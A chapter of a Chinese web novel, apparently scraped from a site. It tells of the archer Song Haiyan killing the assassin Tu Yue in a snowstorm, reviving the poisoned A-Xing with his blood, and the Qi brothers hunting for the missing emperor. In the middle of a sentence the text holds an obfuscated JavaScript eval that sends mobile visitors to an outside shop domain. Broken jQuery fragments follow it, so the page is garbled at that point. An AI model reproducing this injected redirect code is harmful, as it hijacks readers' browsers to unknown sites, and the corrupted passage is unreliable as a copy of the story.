73. 第四章 雪中猎手

作品:《大婚当天我被迫登基了

    大雪如鹅毛般落下。


    雪花落在眼睫上,随即化为雪水,宋海晏抬手拭去水珠,背靠老树弯弓搭箭,屏息凝神地搜寻着暗夜中的猎手。


    他非常肯定,这名猎手就是秋猎时将他引入幽谷的人。按照阿幸的说法,七年之前,他在洛阳城下被毒箭所伤,也是此人所为。


    如今阿幸身中毒箭,昏迷不醒,解药必在此人身上。这毒箭见血封喉,当年他也曾中过此毒。军医说过,这是最霸道的蛇毒,中毒者十不存一。他整整昏迷了十余日才苏醒,能活下来实属侥幸。没想到,同样的厄运竟降临在阿幸身上。


    ……


    宋海晏从诸暨驰骋两个昼夜,终于到达金陵近郊。得知一切如常,他以为齐氏尚未动手,心中长舒一口气。


    他本来想找机会借密道遁入宫中,提醒萧含光注意齐氏和澹台氏的阴谋,忽忆起今日恰好是初一。按惯例,皇帝每月此时都会出宫,前往鸡笼山行宫拜谒苏太后。


    他心中顿时生起不好的预感。齐椽曾对澹台恭言说,不出数日,金陵宫中会传出天子崩逝的消息。宫中守卫森严,要在宫中弑君,并不容易,最好的机会就是今日,趁皇帝往来鸡笼山,在山道途中设伏。


    他立刻赶往鸡笼山,弃马从小道转入山林之中,却见地上都是横七竖八的尸体,不远处还有刀剑交击之声。他循声而去,见两队人马厮杀在一起。他急寻皇帝身影,忽地感受到一股熟悉的气息。


    这股气息不同于沙场杀伐之气,像是暗夜里潜伏的蝮蛇,阴冷而险恶,只等合适的机会,便要择人而噬。


    他记起来,是齐家那位名叫屠越的猎手,整个战场中最危险的人。


    他未及深想,便追逐着那道气息而去。他赶到时,正见到一支羽箭没入皇帝座下的马腹之中,骏马顷刻倒地,而另外一支闪烁着幽绿寒芒的箭矢掠过阿幸,阿幸坠马,踉跄着跑了几步,便倒地不起。


    宋海晏立刻弯弓搭箭,朝羽箭射来的方向放了一箭。弓矢没入雪地之中,这一箭,并没有命中。几乎同时,一支冷箭破空而来,他闪身躲入树后。


    雪越下越大,深林之中不辨视线,三丈之外几乎什么都看不清。远方的战场声音消歇,不知战斗是否已经结束。


    屠越还有没有走,宋海晏仍能感觉到那刺骨的杀意,如芒刺背。屠越接下的命令应该是杀死皇帝,他现在尚不能确信皇帝是否真的死了,不愿离开。又或者,屠越已经认出了自己,想要趁此机会一并解决这个宿敌。


    同样,宋海晏也必须杀死屠越,才能得到蛇毒的解药。


    两位最顶尖猎手隔着漫天飞雪无声对峙。


    宋海晏深深吸了一口气,看了一眼阿幸倒地的方向。他心急如焚,却不敢贸然现身——对方箭术不在他之下,一旦他暴露在对方视线中,必死无疑。


    高阶猎手之间的较量,比的就是谁更有耐心。但阿幸不能等,不出半个时辰,蛇毒就会侵入心脉,神仙难救。


    他没有犹豫太久,离开藏身之处,向阿幸的方向奔去。果然,他刚一动,便有一道利箭破空声从东南方向传来,宋海晏就地一滚,起身时五箭齐发,封死了屠越所有退路。


    雪夜里传来一道闷哼之声,像是野兽受伤的低吼,瞬间被呼啸的风雪吞噬。


    宋海晏心头一凛,五箭齐发,覆盖了屠越可能闪避的所有死角,终于有一箭奏效!他不敢有丝毫松懈,身体如猎豹般压低,锐利的目光穿透雪幕,死死锁定声音来源的方向,他能感觉到那股阴冷的杀意骤然变得混乱而狂暴。


    屠越受伤了,但绝非致命。宋海晏知道,受伤的猛兽,比任何时候都更具威胁。他强迫自己不要去想阿幸,耳朵捕捉着雪地里最细微的声响——沉重的喘息声,靴子踏过雪地的声音,还有……弓弦被再次拉开的微弱紧绷声!


    “咻——!”


    破空声比之前更近,更急。


    宋海晏瞳孔猛缩,身体几乎在声音响起的同时向侧后方急退。箭镞擦过左肋,带起一片血花。寒气侵入伤口,火辣辣地疼。但这只是虚招——但就在他闪避的瞬间,另一支箭接踵而至。


    屠越同样预判了他躲避的方向路线,这第二箭才是真正的杀招,直取他的心口。


    他已无法完全避开这一箭。


    宋海晏眼中闪过一丝决绝。他只微微倾身,避开心脏要害之处,同时右臂肌肉偾张,听声辨位,用尽全身力气将早已扣在指间的一支铁箭,朝着远方风雪激射而出。


    “呃啊——”远方传来凄厉短促的叫声,随即,那声音消弭在风雪之中。


    宋海晏只觉得一股巨大的力量狠狠撞在左肩下方,随即是撕裂般的剧痛,而蛇毒带来的麻痹感随即如冰冷的潮水般席卷全身,疼痛渐渐不觉,肩头到左前胸几乎全无知觉。他咬紧牙关,拔出那支羽箭,强撑着身体往屠越倒地的方向走去。


    他必须找到蛇毒的解药,阿幸才能有救。


    他踉踉跄跄靠近屠越的尸体,打开腰间的囊袋,里面空空如也,他粗暴撕开屠越的衣服、袖口,甚至靴子,冀望于找到药瓶之类的东西,然而屠越全身上下除了水囊和一点碎银,什么都没有。


    宋海晏一颗心沉入谷底,屠越竟没有随身携带蛇毒的解药。


    ……


    雪一直在下,整座鸡鸣山渐渐被飞雪覆盖,林莽之间一片皎然寂静。


    宋海晏将阿幸横抱于怀,触手只觉她周身冷若寒冰,玉容惨白如纸,鼻息更是微弱得几不可闻。他颤抖的手轻轻抚过她青紫色的唇瓣,心中陷入彻底的绝望。


    他奔袭数百里到此,难道要眼睁睁看着她香消玉殒吗?


    不,他不能接受这样的结果!


    他要救她,他要带她求医。宫中有御医,但眼下回宫并不安全。或许他应该带她去药师庵,静仪师太说不定会有办法。


    他挣扎着将阿幸抱起,左肩忽然传来一阵突兀的剧痛。


    他心中蓦地一动。他先前同样中了毒箭,肩头麻痹,失去知觉,此刻竟重新感到疼痛,莫非那蛇毒于他已然失效?


    七年前他中此毒侥幸未死,正因如此,这次蛇毒对他效果甚微。那么他的血或许对她有用,就算不能彻底解毒,应该也能拖延一段时间。


    念及此,宋海晏不再犹豫。他自腰间拔出匕首,划破左手食指,殷红的血珠瞬间渗出。他强忍着肩头的剧痛,将流血的指尖凑到阿幸唇边,血珠顺着她乌青的唇瓣滑落,滴入口中。


    宋海晏死死盯着阿幸的脸庞,心中忐忑不安,不知这法子是否有效。


    时间一点一滴过去,阿幸依旧昏迷不醒。宋海晏的心渐渐沉了下去,难道自己的血也无法救她吗?就在他再次濒临绝望之际,却见阿幸的睫毛微微颤动了一下。


    “阿幸……”宋海晏轻声呼唤。


    那双黑曜石一般的眼睛缓缓打开,似乎认出了他,喃声道:“阿晏……”


    宋海晏几欲落泪,他将女子柔软的身躯拥入怀中:“阿幸,是我。你别怕,我回来了,我会救你。”


    然萧含光苏醒片刻,又沉沉昏睡过去。


    远方传来马蹄之声,似乎人数不少,不知是齐家的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715081|180362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人马,还是前来救驾的人。宋海晏不敢去赌,他将阿幸负在背上,向密林深处远遁而去。


    一队人马出现在皇帝马车遇袭之处。


    齐椽骑着高头大马,着一身白狐裘,在夜雪中更显得清贵无比。他淡淡扫过满地的尸体,问道:“情况如何?”


    一名黑衣大汉答道:“禀二公子,这次我们出动暗营私兵三百人,死士五十人,虽折损过半,但将皇帝身边的几百羽林军杀得一个不剩,只有两名暗卫带伤逃脱。”


    “我是问你皇帝呢?”


    “皇帝一人骑马遁走,屠越已经追过去了。以他的箭术,京中绝无对手,皇帝必死无疑,二公子请放心……”


    “活要见人,死要见尸,叫屠越来见我。”


    “二公子,屠越还没回来。”


    “还没回来?太皇太后已经知道皇帝遇刺的事,父亲奉懿旨入宫。今日大事,成败在此一举,今天晚上我一定要见到尸体。”齐椽目光泠泠,扫视周围之人:“还不快去找——”


    “是。”人群向四周散开。


    这时,远方飞马来报:“二公子,中书侍郎齐韶同金陵卫尉统领韩毅正率军入山。”


    “这么快?”齐椽微微一怔,随即当机立断:“让我们的人先撤。”


    “如果皇帝死了,一切便成定局,齐韶来了也无法改变什么。”他看向黑衣大汉,下令道:“如果她没死,一定要在齐韶之前找到她。”


    ……


    一刻钟之后,齐韶便到了齐椽刚才驻马之处。


    他下马,看着不久之前留下的纷乱脚印,一向温润的眉眼陡然变得凌厉如刀,显出沉沉的戾色。


    一名校尉上前,禀道:“韩统领、齐大人,这里的尸体已经全部找过了,没有找到皇帝陛下。”


    韩毅神情凝重,道:“搜山,一定要找到陛下——”


    齐韶紧蹙的眉头略微舒展,如果没有找到尸体,说明皇帝有可能还活着,他必须用最快的速度找到她。


    他走到皇帝的马车前,看向前方已经被飞雪覆盖的山道。如果皇帝遇袭,按照此前受到的训练,暗卫最有可能带着皇帝骑马突围。山道从南到北,敌人从南边来袭,北方是大道,东向是上山坡,奔逃不便,那么皇帝最有可能突围的方向是西边。


    他骑马向西而行,身后韩毅高声道:“齐大人,你去哪儿?”


    齐韶道:“韩大人继续搜查,我到那边看看。”


    齐韶行出不远,便见到暗卫首领被雪覆盖的尸体,身下的血已经凝结,但他双目圆睁,看向西北的方向。


    西北。皇帝最后是向西北方向离开。


    马蹄印早已淹没在风雪之中,齐韶借着雪光,仔细搜寻西北的每一寸土地。终于,他找到了那匹倒毙的马,雪地中有殷红的血迹,林中散落着几支闪着蓝光的羽箭,皇帝依然杳无踪影。


    忽地,他看到东边树后有一具倒地的尸体。他的心瞬间提到嗓子眼,急忙奔了过去。死者身着山中猎人的装束,他的胸膛上插着一支镔铁箭,在他身体不远之处,还有另外几支同样的箭矢插入雪地之中。


    显然此前林中发生过一场激斗。


    这种镔铁箭是庐江宋氏制式武器,难道宋海晏来过这里?按常理而言,如今南方大战未艾,身为一军主帅,宋海晏不可能离开军中。


    但是除了宋海晏,谁还有如此箭术,在对战中杀死了这位一看就不凡的猎手?


    思及此处,他缓缓吐出沉积在胸中的浊气。


    他必须立刻赶回宫中,事情还有最后的转机。